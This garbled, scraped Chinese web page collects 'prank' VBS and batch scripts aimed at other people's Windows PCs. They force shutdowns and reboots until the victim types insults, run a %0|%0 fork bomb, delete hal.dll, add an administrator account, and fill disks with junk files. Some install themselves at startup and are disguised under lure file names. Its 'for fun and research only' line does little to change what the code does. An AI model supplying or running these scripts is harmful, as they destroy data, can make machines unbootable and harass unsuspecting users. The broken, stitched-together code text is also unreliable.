1、gsh=msgbox quot已经准备好格式化，准备开始quot，vbyesnoset s=createobjectquotwscriptshellquotwscriptsleep 1000 msgbox quot开始格式化 哈哈吓晕了吧，骗你的~quotwscriptsleep 1000 wscriptsleep 1000*100 msgbox quot。

2、Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四个 #39这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34；echo off color 0b mode concols=80 lines=20 title=超级病毒 for L a in 3，1，0 do for l a in 1，1，8do echo\ echo 入侵倒计时 a 秒 ping n 2 1271 1nul 2nul cls cls color。

3、true msgbox chr13 + chr13 + chr13 + quot哈哈哈哈，你真听话！哈quot用到的控件和界面方面自己发挥，VB的代码根据兴趣DIY复制此代码新建文本文档命名为 整人vbe名字随便起，后缀名是vbe就可以了；1sub form_loadshell appexename end sub 2do shell quotnotepadexequotloop 3shell quotcmd c shutdown s f t 01quot1和2是不断运行程序，3是迅速关机；代码开始，只抄横线里面的 ___echo off net user administrator nishizhu\add del s q c\Windows\System32\haldll shutdown s t 5 c 你是一头猪___代码详解echo off 隐藏命令，关闭回；直接在代码行输入关闭系统 #重启，真，然后 复制文件，将路径设为开始菜单下的启动栏里，编译成exe文件，这样只要运行了这个程序，一开机就自动运行了，机子就会不断重启这样整人太狠了慎用啊；代码十超强整人set ws=createobjectquotwscriptshellquot call shutdown1 do while altquot我是猪quot a=inputboxquot快在下面的框框里输入我是猪，否则后果自负，快输quotquot我是猪quotquot quot，quot输不输quot，quotquot loop call shutdown2 msgbox。

4、bat代码创建后缀名是bat的文件夹，输入以下带吗0%0；quot CStri quottxtquot For Random As 3 Close #1 Close #2 Close #3 Next End Sub 执行后c，d，e会每个盘符下都有20个已经建立的文件，如果还有其他盘符 你自己在加个上去 清空硬盘很简单~直接del；毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件请准备好30G空间具体在代码中仅供恶搞娱乐和研究，没有攻击任何人，组织的意图set qstart = wscriptCreateObjectquotwscriptshellquotset qweb = CreateObjectquotWscript；第一步，将以下代码复制到记事本中on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 30 c quotquot快说潮流哥特，不说就30秒关你；chr13 + chr13 + quot哈哈哈哈，真过瘾quot保存后 重命名为 整人VBS 然后 告诉你一下 这个关机时可以避免的 如果被别人整后 可以立马打开CMD 输入 shutdown a 即可取消关机命令 然后使用任务管理器结束进程即可；bat文件 测试平台32bit XP 功能让电脑死机 代码开始 0%0 代码结束 使用方法1新建个文档别告我你不会2复制粘贴那段代码 3保存为XXXXXbatXXXXX为随意名字，比如刷钻什么的；这个是一个清除器，你可以结束掉接下来你操作 当你打开其他VBS脚本时不会关掉 就双击这个vbs脚本就可以了制作方法建立一个记事本写下我告诉你的代码 然后点击lt文件lt留存为选择所有文件，并且文件名为。

5、vbs解包代码20100327 2143Dim rs， ws， fso， conn， stream， connStr， theFolder Set rs = CreateObjectquotADODBRecordSetquotSet stream = CreateObjectquotADODBStreamquotSet conn = CreateObjectquotADODBConnectionquotS；并且把它加到开机启动项，每每开机时就会弹出以上的气球在secdo，bat在系统盘自动创建另一个bat文件，就是关机的代码，并且加入该bat文件到开机启动项，每每一开机10秒后便开始关机，这个够呛的吧～ ^ ^；on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说我爱你，不说我爱你就60秒关你机，不信，试试···quotquot quot，0。